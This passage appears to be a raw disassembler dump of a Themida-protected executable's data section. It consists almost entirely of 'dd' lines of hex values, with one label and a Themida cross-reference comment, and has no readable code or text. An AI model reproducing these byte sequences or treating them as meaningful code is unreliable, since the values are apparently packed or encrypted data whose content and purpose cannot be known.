0EAA0DB56h dd 0E5E93256h, 7877A6A5h, 93DA7F7Bh, 0C195C70Ah, 573E90BBh dd 0ABA2DB56h, 0CB673256h, 9893056Bh, 73FC0466h, 0E43A3385h dd 0CB2FF1A1h, 0CEB13220h, 57B139BFh, 2D271C56h, 0CC2B3812h dd 31D18003h, 75B7B959h, 54303256h, 35C68BFDh, 0CEB13237h dd 57B120BFh, 0FCD8FD56h, 0E55053F4h, 5D18C619h, 56BDB969h dd 315045B5h, 5DB1538Ch, 0AEBBBA59h, 0E1D13256h, 0AB3F3DE6h dd 0B4B13256h, 0EAB9DB36h, 0A9623256h, 0E494BCECh, 3C4D8A7Fh dd 0AEEB7CCAh, 0B8B13256h, 3013B3E0h, 0DAD13256h, 0EAB134D2h dd 1257B356h, 2E8A760h, 32AA8BDh, 0F29DA837h, 36438D56h dd 2ABE3256h, 0D5B1325Ch, 0EAB137BFh, 27DAE356h, 53D1D11Ah dd 5DB1325Dh, 436133A0h, 0CAC71ABBh, 0CB9274F2h, 0D5B137BEh dd 3CA34F56h, 0C3EACAACh, 0BAD053DAh, 5DB1CB56h, 0AEB13CBFh dd 300BD556h, 2AA6C422h, 0B5718667h, 8AC8414Fh, 0BC25E4D7h dd 31D7245Fh, 5DB15394h, 0EB57B336h, 37C7EE3Ch, 0ABB13EBFh dd 0E4FAE856h, 0F8EDAF08h, 98860C89h, 596F8B2Ch, 3CD035CAh dd 0AEB0B859h, 57493256h, 0ABB1CE56h, 0D5B13ABFh, 0C94BF156h dd 3C24DC27h, 0B5B132BFh, 5DB13AD6h, 0AC303D56h, 37B13256h dd 0A4B13237h, 0D5B133D7h, 0E458C756h, 95B13256h, 0B34C69Dh dd 0BF8ACDF7h, 20EB7BD2h, 37B132D3h, 266585EFh, 0B442B974h dd 63BE3256h, 75B13241h, 0BAB120BFh, 9A75E556h, 4FB6955Dh dd 57AFB188h, 0A61653A6h, 3CF15182h, 0EAB13251h, 0A11E3FEEh dd 0BABC7A13h, 4E585256h, 67B13256h, 0FC45D32Bh, 0CBEE208Ah dd 0DC947998h, 0C2A0FA36h, 0F4D7B87Ch, 0DB8A6DB0h, 5D4D3256h dd 64305256h, 5EAC8E69h, 0ABB13FBFh, 5F5F3E56h, 7E7CEEDh dd 6ACAA075h, 0BAD0706Dh, 5C333D56h, 5BB13256h, 57493256h dd 0ABA2DB56h, 49F93256h, 0A96B7DA0h, 8E04A7F4h, 0EDE20968h dd 0A95BF64Ah, 0B9373D0Ch, 0BEB13256h, 0ABB13244h, 0A78B247Eh dd 777B896Eh, 0AE12BCC6h, 0B99437D5h, 5DB1F0E8h, 52B132A3h dd 0AFD13256h, 0A4D0D6E0h, 0D5B133D4h, 0EAB1CE56h, 75B13EBFh dd 36A1356h, 0C868537Ch, 8E6B28CCh, 0BEB1325Eh, 0ABB1325Ah dd 1E2009B2h, 4F2FC261h, 63EDF386h, 0BAB138BFh, 5F3A8756h dd 43E2CB1Dh, 55C01F28h, 0ABB13256h, 0DFB6E5A3h, 0F8B13656h dd 68B13E56h, 4B13356h, 0A8B13254h, 0A5363D37h, 0BEB13256h dd 0ABB13250h, 0D0FFE113h, 0EAB1C754h, 89B132AEh, 53D13256h dd 5DB13258h, 4CE96C64h, 83005CA5h, 4F13B2E1h, 0B3D1C7E2h dd 6CBEE4DDh, 75B13256h, 0BAB15337h, 5D3C3D36h, 0C8B13256h dd 57D0CCDDh, 0A7595256h, 0BB13256h, 87E1980Fh, 0F0550BEAh dd 0DCF18B77h, 0FE8F3DDh, 0AEB137BFh, 9A53C856h, 0CAE8937Dh dd 0D5483256h, 0EAB37B56h, 75B0BC59h, 0BA4D3256h, 0DDB37B56h dd 15EE17A6h, 316F329Ah, 0CBB13237h, 0D5B8DA00h, 0A8363256h dd 11D69880h, 0E5BA847Fh, 5F333D08h, 18B13256h, 372153E5h dd 0ABB8DBCAh, 670C3256h, 1408B255h, 9CC49E09h, 0BAB13246h dd 0A67C3CEh, 5DD31F12h, 181F1BE6h, 0C00BD78Ah, 920954CBh dd 8AE153F2h, 0E8EF8930h, 0DB498D59h, 799DBBC6h, 0F82231E4h dd 57B13EBFh, 0B92C4656h, 8B28D2B5h, 80E43E69h, 4208AF0Dh dd 0DBD64E72h, 3CD052C6h, 0AA386A0Ch, 57B12672h, 91D46E56h dd 0D3507ABDh, 78ACC691h, 0ABA85235h, 5064BEE9h, 52D0AF8Dh dd 0AEBDDB67h, 0DA953256h, 22216114h, 900D9DD8h, 0B2EBF9CCh dd 7AE362C6h, 8BBEF1E1h, 6CBE6006h, 0F6EB6A0Ch, 73F5BB37h dd 42E36252h, 0D5B1325Ch, 9BA9C9DCh, 0D875E500h, 8BBE41B4h dd 52586006h, 45B13256h, 90B7D31Eh, 0C8232FA2h, 6A6F2B36h dd 0DBBEE7DAh, 44BE6006h, 0E2EB6A0Ch, 0A3E96A0Ch, 0AEA5DBD6h dd 221D3256h, 5A29495Ch, 0F8F56580h, 0C301C134h, 906D7DF8h dd 0B52C59ECh, 5D0F0E1h, 0FBBD0D0Eh, 36EF693Ch, 0A3E96A0Ch dd 0D3033942h, 9F41065Ch, 664ACAD9h, 8FECFBA8h, 5DB153B7h dd 0AEA5BB59h, 0D6BE3256h, 0ABB13258h, 0D5B13BBFh, 0B9224256h dd 8569E1B9h, 0BA4969FFh, 53595256h, 48B13256h, 6F6AAAEh dd 831BF340h, 7694D74Bh, 35063DAEh, 75B1530Fh, 0BAB135BFh dd 0E351F456h, 0DA8E28D7h, 5F583256h, 3B13256h, 169C42A8h dd 8A68B7DAh, 0CB6DCDEEh, 0BAB15329h, 0BF305436h, 56D08B15h dd 57443256h, 0BA313D56h, 3CB13256h, 0EAB1325Ah, 0AECFC124h dd 0FAAA420Ah, 579B9AE9h, 0AEB135BFh, 773E9F56h, 0A03CEE1h dd 0B3D13256h, 8CE1F9DDh, 14EEEADDh, 0BAB9BB59h, 52D13256h dd 0AEB132D0h, 57B15356h, 0AD3E3DAAh, 0B5B13256h, 31063DAFh dd 8DB13237h, 0BA4D3256h, 5C323D56h, 57B13256h, 0D4BE3256h dd 0ABB13257h, 20B132AFh, 63BE3256h, 75B1325Ch, 753A5436h dd 9D68B330h, 0AEB153F4h, 0E9BB8536h, 8862A8AFh, 0DAB13237h dd 0EAB13AD4h, 77383D56h, 0DAB13256h, 0A4B13237h, 0A1D13256h dd 57B133D7h, 0A259CE56h, 0F4B13256h, 0FF71DDBCh, 137C4D6Ch dd 0DBEEC8E1h, 5D493256h, 0A9343D56h, 37B13256h, 0CB738D59h dd 0D5B15337h, 87848D36h, 75D06595h, 0AF363D56h, 0B4B13256h dd 0AEB13246h, 0A8E7FCD3h, 0A42C11D0h, 89893F35h, 4CA4E6E9h dd 75493256h, 0BABCDB56h, 2B373256h, 0BC01DE25h, 1BBA0C9Dh dd 0AB5DCA9Ch, 0D5A2DB56h, 6AB33256h, 0AB3C591h, 71BD0193h dd 0BB7B8836h, 26F7496Dh, 0AEB132BAh, 0CDD13256h, 30C3E1D7h dd 0EAD0CADDh, 75B8DB56h, 11353256h, 0A3CC869Ah, 0AE9218A5h dd 57B1CB56h, 0ABBBB259h, 61D13256h, 0EA3C3DFBh, 14B13256h dd 0BA493256h, 5C313D56h, 5BB13256h, 5E583256h, 49B13256h dd 0D8695421h, 9327D919h, 8DD13256h, 0BAD0AEE7h, 5DA3DB56h dd 63013256h, 0FD963DD7h, 0BF04DC8h, 6732A0EDh, 3D670BF8h dd 0FFBE3256h, 0BAB1325Ah, 5DB7B559h, 2DBE3256h, 57B13256h dd 0AB483256h, 0DE585256h, 0B5B13256h, 0AD60BD92h, 9F0729D8h dd 5DD06220h, 0AEBBDB56h, 41093256h, 0BF32EE1Ch, 557339D2h dd 0EA4D3256h, 75BEDB56h, 6FE43256h, 1C40F861h, 31993E74h dd 0EAD20D49h, 42B1326Ah, 0D5B1325Ah, 0C6592BC1h, 491C334Bh dd 0F0E45358h, 5D4D3256h, 25D75256h, 5258529Dh, 0E1B13256h dd 0FB799560h, 8B6B8559h, 9CB13237h, 0BAB13251h, 479A020Bh dd 0AE347277h, 0D1C756h, 0CAEB6B04h, 0B3D13256h, 0A5D5C3D7h dd 4343B330h, 0BAB15307h, 5DB120BFh, 0A602F956h, 0D909BFD6h dd 8814B16Dh, 0CFDD951Ch, 0EA957F6Ah, 6F323D56h, 0B5B13256h dd 5DB126D7h, 0AEBEDB56h, 59303256h, 81DABB9Ah, 711E6F3Dh dd 8B6CC01Eh, 15B1325Ch, 2872B330h, 5894897Dh, 0A1D011D3h dd 57B124DDh, 0ABA0DB56h, 0F5703256h, 0A7ABEBFh, 40B8321Bh dd 0CFFF31A3h, 5D6635ABh, 0AEB1CB56h, 57B0B159h, 53493256h dd 0D54D3256h, 0EABDDB56h, 6B793256h, 0E6C0F329h, 759A3CF0h dd 0AE44DBE2h, 57BCDB56h, 0C9A43256h, 690DA8E9h, 9BC00EA8h dd 75EE0E3Ah, 0B0303D56h, 0B4B13256h, 0AEB13253h, 1D6CD7D3h dd 2FBE5207h, 0D5B13242h, 0EAB13DBFh, 318B4A56h, 0F73EC218h dd 0CE772513h, 1168A97Fh, 57B126BFh, 0C5F56856h, 0CB5E1A2Ah dd 0AE589A02h, 8A5D42E1h, 55E4460Ah, 5DB15313h, 0AEBDB659h dd 0D4BE3256h, 0ABB13250h, 0D5B1B859h, 0EAB13256h, 75B126BFh dd 19A32A56h, 730BCE29h, 26BF3794h, 6A9E31F2h, 0F61DB588h dd 0DAB1322Ch, 0EAB126D6h, 75BEDB56h, 253B3256h, 1286F217h dd 0D4E202C3h, 0AAA62032h, 42B13237h, 0D5B13258h, 2652645h dd 10954917h, 541ACC3h, 5DB1404Eh, 0AEB0B859h, 57443256h dd 0BF585256h, 0A7B13256h, 40DD256Dh, 639B6E43h, 0BE0A0082h dd 0EC4D3EC0h, 0C8C3CCCCh, 57D0E1DDh, 0ABB1CE56h, 0B362B836h dd 8C36F2D7h, 9CB13237h, 0BAB1325Ah, 9A780AC6h, 0F86862A0h dd 90D15CB6h, 0CDD13256h, 5B24C5D7h, 0EAB13ABFh, 668F9156h dd 0DE8A1BA5h, 5DB153EBh, 0CF44CA36h, 0D5BE3256h, 0ABB1325Ah dd 0D5B7B559h, 6DBE3256h, 75B13256h, 0BA4D3256h, 5DB6DB56h dd 0F7EB3256h, 0EC90D38h, 0ABB4DBAAh, 79073256h, 0EA4E2AF4h dd 9CD15256h, 0BAB1325Ch, 9DAFF121h, 47C4607Ch, 8A06F799h dd 9E0B5437h, 0D5B153B1h, 0A90E5436h, 0B41B20Fh, 53B13237h dd 5DB13242h, 0E04F0C22h, 0A3B0009Ch, 0BC7791DDh, 795E3407h dd 9C2DFA53h, 7F583256h, 23B13256h, 235E3A6Eh, 0F0C34E9h dd 843B5285h, 0ABB13ABEh, 9538C156h, 0D40E140Bh, 0A43A54C1h dd 0BAB1530Eh, 5DB13CBFh, 39FF4756h, 99A19400h, 0F8B3F16Dh dd 0D5AFA01Ah, 0EAB1C756h, 0B270B336h, 0DCC0C364h, 3C8CAEE8h dd 0A3583256h, 84B13256h, 5D6EE895h, 6E7380Eh, 0D1E83347h dd 75B139BFh, 88D31456h, 0FAF0AE3Fh, 0A33F60FBh, 37D13256h dd 998A30h, 0D5B1BE59h, 2D03256h, 75B13259h, 85A218D5h dd 9154D8A1h, 0EBEACE78h, 0AF6ACCC3h, 0ABB1530Fh, 0DAB132AFh dd 0EAB137DAh, 2EE35256h, 0BAB153AEh, 3DB132AFh, 4531C3DCh dd 57B153F0h, 0ABB0B059h, 3C493256h, 0EAB1325Eh, 3955C83Ch dd 5B55579Bh, 52D13256h, 0AEB131D8h, 0B474B256h, 437BB936h dd 0D5B13247h, 562706B6h, 0E8D6FB4Eh, 4EFCBEBDh, 0CC00E781h dd 0CFD06D37h, 43583256h, 0BAB13256h, 0D0CFA793h, 24776AA4h dd 6417BB87h, 0A93CF08h, 5D55F39Eh, 0AEB4DB56h, 0F3653256h dd 0AB0AE289h, 0D54DCB56h, 0EB3E3D56h, 8CB13256h, 0AE583256h dd 0D1B13256h, 0AD4D04C7h, 0F3D4BF51h, 0D7C70B58h, 9FDD85C6h dd 0EA9F6A1Ch, 743A3D56h, 4FB13256h, 5D493256h, 0AEA2DB56h dd 0BBB3256h, 73B354C7h, 59D781FFh, 2C268C28h, 72742945h dd 0B5B132F9h, 5DB13ADCh, 0AC3E3D56h, 37B13256h, 42B13237h dd 0D5B1325Dh, 2FDCC9A4h, 0A147816Fh, 4F05FD04h, 0DBBE3256h dd 0AEB13240h, 9E063D36h, 0ABB139BEh, 0F1339E56h, 0D54EB714h dd 4831EA55h, 0BAB1530Fh, 0A1B132AFh, 0AE483256h, 57B7DB56h dd 0B6553256h, 0F5B73A5Fh, 0EA4D3256h, 0C5D1C756h, 0BC3B3D4Fh dd 52B13256h, 0AEB132D0h, 57B15356h, 0ABB6B359h, 52BE3256h dd 0EAB13257h, 7AB132AAh, 0BAB120DCh, 5DBCDB56h, 6FE73256h dd 5F473DBCh, 7067A7BBh, 0D5CBE822h, 0EAA5DB56h, 82203256h dd 0F155A5CAh, 8E6F039Dh, 0ED77F58Fh, 0CE9BB338h, 0A158F521h dd 0A7B13256h, 0C35C66AFh, 0D0C9093Bh, 53B1321Ch, 5DB13250h dd 0EFBB47CBh, 0DBBE3953h, 0ABB13257h, 0B5B132A3h, 0EAB4B959h dd 0BF083256h, 0DCF846E1h, 3CE12DEEh, 0AE493256h, 57B1C756h dd 0ABB120BFh, 0B07D9856h, 2178D69Bh, 0E550F359h, 65077774h dd 5D9140E4h, 29BE5256h, 57B13254h, 14BE5336h, 0D5B15394h dd 0EAB0B559h, 754D3256h, 0AB3C3D56h, 0B4B13256h, 0AEB1325Ah dd 0F783F17Dh, 0C4651B14h, 0F2E36E8Bh, 0EAB4DB36h, 0BF483256h dd 0DD12C35h, 5DB15366h, 47B132AEh, 57B13245h, 0ADD98ED0h dd 0BE0129D6h, 42CA27D5h, 666CB6E0h, 4F56AACEh, 58583256h dd 87B13256h, 0DE9113ACh, 0AB483256h, 0D5B1CE56h, 0E8393D36h dd 15B13256h, 0BAA3DA37h, 2A9E3256h, 2787965Bh, 5B9546FBh dd 19296F3Ch, 9F3936B3h, 0EAD06AAFh, 74323D56h db 56h, 32h, 0B1h byte_5B52CF db 42h ; DATA XREF: Themida_:0054D610o dd 0DDD13256h, 2FD77483h, 3681B08Ch, 0A6583256h, 40B13256h dd 0B54D20E5h, 0EF5C657Ch, 0B2C45914h, 0D4BE3256h, 0AEB13257h dd 58B132AAh, 0ABB13AD2h, 0D7313D56h, 8AB13256h, 15B13237h dd 0BAB122BEh, 0A19E8E56h, 1675C81Ch, 8F4EBAA9h, 978E202Ah dd 8E548576h, 0EAB2B959h, 0C2BE3256h, 0BAB1539Eh, 5DA1B659h dd 2BBE3256h, 57B1325Ch, 0ABB137BFh, 0D0C84656h, 0EAB1FE65h dd 99F98936h, 3BD72317h, 3C90FE84h, 2CBE3256h, 57B13257h dd 5EB132AFh, 0D5B0BD59h, 0EA4D3256h, 7D3A3D56h, 0DAB13256h dd 5DB1B059h, 0AED03256h, 57B1C756h, 527EB336h, 0B3B85706h dd 0FED7E9D7h, 7AB13237h, 0BAB13EDCh, 5DB6DB56h, 5F733256h dd 0E604C9Fh, 5EB132BDh, 3CD13256h, 0EAB13245h, 0C7D6CA8h dd 157F0EBBh, 0C7EA1999h, 843330B6h, 37716ACAh, 0CA46B930h dd 3CB13237h, 0EAB13258h, 984EF170h, 9F5FF324h, 0D1792728h dd 0AEB18B4Eh, 37B132AFh, 0A24D8B36h, 0B4D0362Fh, 8CD13256h dd 148DF1EFh, 0DAD13256h, 5DB13EBFh, 6BFC3D56h, 62CD038Fh dd 0D22D335Ch, 3CD0CECBh, 0EAB13259h, 1F391616h, 16C28497h dd 1AD6519Fh, 0CFB989D0h, 57493256h, 0BE3B3D56h, 3CB13256h dd 0EAB13246h, 885EAF15h, 2E23609Fh, 28FBAB71h, 1A2CB487h dd 47583256h, 0D5B13256h, 0D9530145h, 776C443Eh, 0BA395D0Fh dd 0BA0EAC3Ch, 0DDBE5256h, 0AEB13250h, 57B1BA59h, 11D73256h dd 0D5D0291Dh, 0EAB1CA56h, 75B9BA59h, 30BE3256h, 5DB13254h dd 15D15336h, 21091C4Eh, 0ABB1BE59h, 0D5D03256h, 0E558CE56h dd 6AB13256h, 28A863B6h, 84BFB67Fh, 0F834F1A2h, 57B12692h dd 5C305436h, 0B5D0E604h, 0EA393D36h, 13B13256h, 0A364D1D7h dd 3CDB8437h, 21BE3256h, 57B1325Ah, 0ABB7B259h, 51BE3256h dd 0EAB13256h, 0FABE3256h, 0BAB1324Dh, 1D57B236h, 0AEB122BEh dd 8E8CD256h, 0C297AD6Fh, 0B0CDB31Eh, 42D9ACEBh, 75D06DEBh dd 0B3313D56h, 3DB13256h, 7F548930h, 36BBFBD6h, 28BE3256h dd 0D5B13257h, 0EAA1DBAEh, 0CE143256h, 9E2A577h, 0EFB0FA26h dd 0A74F6122h, 57B1E1FDh, 0ABB0BF59h, 0D5443256h, 61D1C756h dd 773F3DA7h, 0DAB13256h, 5DB15337h, 1E77B936h, 57B15388h dd 0ABB120BFh, 8151CE56h, 0D580688Ch, 0BEB43313h, 0C7DC71CDh dd 5D5F266Bh, 0AEB1CE56h, 57B137BFh, 0B1C7DD56h, 0D5B177D8h dd 0EAB123BFh, 7DAE2056h, 949D719Ah, 110CECAh, 94564B20h dd 57B18E7Fh, 0ABB9B959h, 57BE3256h, 0EAB13254h, 75B15336h dd 42B132AEh, 4C583256h, 0F7B13256h, 0D717B48Eh, 0E40AE9ADh dd 0DACD911Fh, 6F2480BEh, 75483256h, 34BE5256h, 5DB13256h dd 0CF8DF1D6h, 45583256h, 0FBB13256h, 23908A50h, 4762E06Ch dd 0A447E430h, 9FF419D7h, 0B4B13215h, 0AEB1325Ah, 8E70A5B9h dd 0F436A5E3h, 8EAEE999h, 440B336h, 0FE8B7C48h, 0BAB153AFh dd 0A8B132AEh, 24D13256h, 51363DB7h, 0A4B13256h, 0D5B132DDh dd 0EAB15356h, 75A2DA36h, 3AD83256h, 0F3759232h, 76D8A44Dh dd 31471760h, 440413FFh, 8DD05273h, 0E8348B36h, 14D07C54h dd 0B5583256h, 6FB13256h, 0DBA4AF17h, 0D6E6AC44h, 922F2E27h dd 0D5485AB0h, 0E5D1CE56h, 75B124D2h, 0BAA1DA56h, 0FA163256h dd 0C5737E75h, 2DF0EBA3h, 8502630Ch, 0B3EFE68Fh, 0EAD0ECDDh dd 623C3D56h, 53B13256h, 5DB13244h, 0A0D7E7ECh, 0B1FDD5BDh dd 0E0C59853h, 0C690EDEDh, 0EAB17CAAh, 75B135BFh, 0D12CD556h dd 6D383128h, 0CEB132AFh, 0BF62B930h, 0ABB13245h, 1BA49E09h dd 2FCEAF0h, 93BE6856h, 64AE0A40h, 55F3FA7h, 0A1B13237h dd 57B13AD1h, 0A9333D56h, 0B5B13256h, 3B13237h, 75B1325Ah dd 8EFBE10h, 20F54D2Dh, 1A394C98h, 0DDBE3256h, 0ABB13257h dd 29B132AFh, 6BD13256h, 0F5AAB18Ch, 6B3A5462h, 3DB13237h dd 2E00E9D6h, 57D0AFB8h, 6C305256h, 0D19878B7h, 8AB13237h dd 0F5D1C8DDh, 5BEBB8Dh, 5DD05394h, 0AEB1CB56h, 57B13EBFh dd 429B4356h, 810D40A0h, 0BF7B090h, 15B132B9h, 0C57B330h dd 505864C4h, 5B13256h, 0ED3D50A6h, 0FE806208h, 0A33B994Ch dd 0EAB15308h, 75A7BC59h, 0AB583256h, 0C9B13256h, 0E7201BCFh dd 0D926845Bh, 3C38C2AEh, 0AB324CBDh, 0EAB138BFh, 461E5056h dd 0B1C60F88h, 5D4BAB21h, 0AEB1CE56h, 57A2DB36h, 0FE733256h dd 0B612E47Bh, 0DBE5DF97h, 6DD70547h, 7719AA15h, 3C7BB9BFh dd 0A9583256h, 0A6B13256h, 84B5C04Fh, 0D5B18C22h, 0EAB0B659h dd 9C443256h, 0BAB1325Bh, 4F815CE6h, 10C4DB1Dh, 3389370Ah dd 0CBB1328Eh, 0D5B13EBEh, 830EB556h, 0D6A037F1h, 716E312h dd 5DB8DB8Eh, 9AC93256h, 0FDF210B8h, 0F4459574h, 0F573B205h dd 0EAB1530Dh, 7AEE6436h, 0BAB134D7h, 5D3A3D56h, 0CFB13256h dd 0CE52B336h, 0CD987D9Fh, 0B442D7EDh, 0E5443256h, 75B133D9h dd 0BAB1C756h, 953A5436h, 0EFC8B30h, 58B13237h, 0ABB133DBh dd 0D5B1CB56h, 0E5B132AFh, 75B122D5h, 0B03E3D56h, 0B4B13256h dd 0AEB13253h, 0A39F26ABh, 42B132A8h, 0D5B1325Ah, 0B32948D9h dd 8968A8Ah, 288AFDE9h, 0EBD13256h, 7F30546Bh, 57D08798h dd 0ABBCDB56h, 0E3913256h, 82B64A2Bh, 57A7B2FDh, 0BAC86ACDh dd 5DB1CB56h, 16D752A3h, 0DCD7F34Eh, 0ABB153A6h, 0DAB132AEh dd 0EAB124D8h, 7C595256h, 5DB13256h, 60762439h, 0E40166B0h dd 9630540Dh, 0ABD00AFCh, 0D5B1CB56h, 0EB313D36h, 89B13256h dd 0DB4AB930h, 5DA6B959h, 0BC583256h, 90B13256h, 0F6A7374Ch dd 465EA1FAh, 725C2FF6h, 98BD4F74h, 42B132E7h, 0DEBE3256h dd 0AEB13257h, 57B1CEAEh, 7C315236h, 0B4EB6203h, 0EAB135BFh dd 82F35C56h, 42B6BA41h, 52B13237h, 0AEB133DFh, 57B1CE56h dd 0CBB132AFh, 0B448FADDh, 0E5D13256h, 75B12BDDh, 0BAA2DA56h dd 84473256h, 362C709Ah, 0F793BFA4h, 422DA384h, 0CBECDA36h dd 55BE69ACh, 75B153A0h, 0BAB0B859h, 5D443256h, 0AEB1CB56h dd 58B132A3h, 0ABB122DEh, 0DF393D56h, 3B13256h, 75B13253h dd 98DC7490h, 3DB13216h, 0DE85D9D7h, 0DEBE353Bh, 0ABB13254h dd 3CD06D06h, 0EAB1325Fh, 5261A90Ch, 0D7E54B13h, 52B1322Eh dd 0AEB124DAh, 57A0DB56h, 0BEFD3256h, 44883138h, 0AD7362EFh dd 6D0492ADh, 0BA8A603Eh, 0DCD75256h, 2FFB7AB7h, 79988D80h dd 0ABB1534Dh, 2B3A5436h, 0E5B13237h, 75B133DCh, 0BAB1CA56h dd 5DA7BB59h, 0BF583256h, 7FB13256h, 0BD8BC069h, 51AEAB2h dd 0ED02CAC1h, 92C2ED2Bh, 0B5D13256h, 5DB131DCh, 5D3A5456h dd 4E6FB330h, 21BE5340h, 0D5B13253h, 3D0E3D36h, 15B13237h dd 0DBE6A06h, 5DB15394h, 0CEB132AAh, 57B123BFh, 7F6FCA56h dd 6562A6Ch, 0E61E4746h, 0C47808D1h, 2D7C0EBh, 5DD0AD6Ah dd 0AEBDDB56h, 37603256h, 51D59056h, 0BD672208h, 0EAB191C6h dd 0CC1A8836h, 0D6044D1Fh, 0A4B13237h, 2FD13256h, 0ADB99C98h dd 0CA11863Dh, 6CD13256h, 0F8FAF17Ah, 7AB13237h, 0BAB122DDh dd 57363D56h, 47B13256h, 57B13253h, 0B67C269Ch, 29B132EEh dd 8CD13256h, 0DF95FBD7h, 0DB7BB930h, 5DA4BA59h, 0BE583256h dd 7FB13256h, 0B759DBE2h, 0F8388431h, 2203BF54h, 75037EA5h dd 0BF353D56h, 3DB13256h, 0CF79B930h, 45583256h, 8B13256h dd 0D6E987B6h, 0C6CFB895h, 4FB6E88Dh, 546AD21Fh, 3DB13289h dd 543A52AAh, 0DF6EB330h, 0ABD05341h, 0D5BCDB56h, 5B893256h dd 73BEDA8h, 28030DBEh dd 5DD96A62h, 0B6353D56h, 37B13256h, 0ABB123BFh, 31D4FF56h dd 2C152FB7h, 0A87A7584h, 7B484B56h, 5DD0377Dh, 0AE49C756h dd 57B1CA56h, 0ABBBB959h, 5FD13256h, 0EA353D9Eh, 14B13256h dd 0BD583256h, 96B13256h, 65443F18h, 57B177FDh, 0ABB0BC59h dd 0D5493256h, 0EAB1CB56h, 75BCB859h, 0B2583256h, 42B13256h dd 6B3ECA55h, 0BE312C55h, 0ABB13247h, 0E79B12FAh, 0D1208F7h dd 73636D62h, 59B20A7Ch, 3DB132C1h, 104E8D59h, 4856DD14h dd 5EB13237h, 2D483256h, 0E5D13256h, 75B130D2h, 31EE6556h dd 0DDD15391h, 0AED010BFh, 563D3D56h, 5EB13256h, 0B5B132AFh dd 0EAB7B759h, 96303256h, 0A08984F7h, 3DB13237h, 473194E4h dd 57B1534Bh, 0ABB139BFh, 0A2856D56h, 0AFAAA1AEh, 87656403h dd 0B1583256h, 0BDB13256h, 54DDB548h, 3EAFD8C0h, 0ABB148C6h dd 0B5B132A3h, 0EAD090E4h, 75B8DB56h, 0FBC73256h, 9198BAFh dd 0AE1C6714h, 57BDDB56h, 3F693256h, 0CC8DD443h, 5CFFE001h dd 75B1E584h, 0BAA3B959h, 0B4D13256h, 0AEB1325Fh, 68991E73h dd 4FA708A4h, 0B4D0528Eh, 0E5D13256h, 75B124DDh, 0BAA0DB56h dd 45063256h, 0B84298ACh, 0DEAFB835h, 6FDBEF93h, 54C3557Eh dd 5D40CABEh, 75B15372h, 0B5B132AEh, 5DB136D3h, 0F4005256h dd 0AEB13237h, 23BE3256h, 0D5B1325Ah, 0EAB7BA59h, 0FABE3256h dd 0BAB13256h, 5B583256h, 88B13256h, 9E3C712Dh, 0CBB13294h dd 2F3A5436h, 0EAB1B859h, 9CD03256h, 0BAB13246h, 5D2BC9C7h dd 51232D4Ah, 4B8BD2B4h, 0BDF6454Fh, 0B5B13237h, 86D8830h dd 15B13237h, 0BAB153A3h, 5DB121BFh, 53BF9256h, 0C79A6444h dd 0E361845Ah, 5D9F9278h, 1ED1612h, 754D3256h, 0A3373D56h dd 0B4B13256h, 0AEB13242h, 9E0DAFA8h, 8F824F05h, 0C6CC418Bh dd 0BCDCC06Eh, 76FEA74Ah, 3CBE3256h, 5DB1325Ah, 0AEB7B559h dd 0D3BE3256h, 0ABB13256h, 59BE3256h, 0EAB1325Eh, 0AC305436h dd 0DB482EAFh, 5A583256h, 0E9B13256h, 4F0492ADh, 0BB58603Eh dd 4CB13256h, 1455AE20h, 0AB2891C2h, 0D8909E5Dh, 5D189E05h dd 0AEBBDB56h, 79993256h, 46992896h, 0B2D671E3h, 0EAB123BFh dd 10BB8356h, 0F4686A2Dh, 94AC1625h, 0B5BCFEE4h, 57B1A359h dd 0ABB137BFh, 0F81D8556h, 0EA493551h, 723C3D56h, 0DAB13256h dd 3D76B930h, 0AEB15337h, 57B9B159h, 2ABE3256h, 0D5B13254h dd 0EAB15336h, 653E3D36h, 52B13256h, 5DB1325Ch, 46E18D2Eh dd 7A26997Bh, 0CDEB0CC6h, 0D5D0F8DDh, 0EB3C3D56h, 89B13256h dd 464D3256h, 5DA1DB36h, 30803256h, 0C98E9662h, 9D2AC2ACh dd 0CA82ACC0h, 0EA59EF35h, 2FB13256h, 13F1D8D7h, 4D583440h dd 0A3B13256h, 0D5CEFB56h, 18F80DD3h, 6F1CADD0h, 8A644FC3h dd 75B137BEh, 0F5B09D56h, 0E3D76169h, 15EA8ED3h, 6170AB75h dd 9A34BF37h, 2DB727CCh, 0EAA1BB59h, 7E583256h, 10B13256h dd 0BEDD2C21h, 66A92718h, 0D538EA6Fh, 0ADA7A0BFh, 32305436h dd 68BEC166h, 75B13254h, 37D05336h, 4AC91DD4h, 2C38C750h dd 51A7A15Ch, 9C5ADAAAh, 0DAD13256h, 0EAB136DAh, 4A0E5456h dd 0BB3A3D1Bh, 0A4B13256h, 0AC62DA37h, 5E583256h, 13B13256h dd 68C5B689h, 0E3D76401h, 75ADBB59h, 4D13256h, 5EC58EF9h dd 0AEB13DBEh, 0E28F5F56h, 87264600h, 0C6420F14h, 77991800h dd 0F776530Eh, 0BCA7A3A8h, 5DB13256h, 0AEB0B659h, 5493256h dd 4E34F4A3h, 83B72275h, 0E30F5436h, 5159B22Ah, 2E35A37h dd 0A24DAEFEh, 0BEAC77E3h, 5D363D50h, 0CBB13256h, 6E99F5D6h dd 0DAE9B05Ah, 0FF34BF37h, 4FB721D3h, 5261CDAAh, 0AEB13ED8h dd 513F3D56h, 0A4B13256h, 0D5B132D3h, 0EB34BB56h, 15B72249h dd 53AADAD6h, 5DB1325Bh, 0A26F92A8h, 2AEFA352h, 1B21CD46h dd 0D1DB5360h, 0EAB120BFh, 739E1456h, 0D647C9FBh, 2F09532Dh dd 2B7CDE68h, 3FBCB826h, 0ABB12256h, 5ED76136h, 5EE06AA4h dd 1DD06A9Eh, 0BAB23F16h, 6D47B336h, 0C8C7C069h, 36BB2FE8h dd 0CBD1323Ch, 0D5B122BFh, 0C9A97456h, 0AD21319h, 0CEA6E1EAh dd 0DDD664F0h, 0CFB782A4h, 57B139BFh, 0D7B18856h, 0D33334ACh dd 0EB2CA70Ch, 1561CD37h, 0BAB13DBFh, 0AECCA156h, 4BD12E85h dd 8B29B59Ch, 0D91A501Fh, 1E0E3D01h, 0E5EB530Ch, 75B135DFh dd 0BB3B3D56h, 0A4B13256h, 2ABEF25Dh, 57B13325h, 7D305436h dd 5CD0D114h, 0FC20CCD4h, 0F738CE50h, 0BCA7A072h, 5DB126BFh dd 0F2B456h, 94C2C94Eh, 0BB3E2F6Ch, 249ACF27h, 11E63AA6h dd 72585246h, 0F2B13256h, 7830F1C6h, 25D77D51h, 170853AFh dd 0A4B1315Bh, 0D5B133D9h, 123ACA56h, 0FD5BB336h, 5385F4E5h dd 5DB1325Ah, 2765F163h, 2AA4E7B5h, 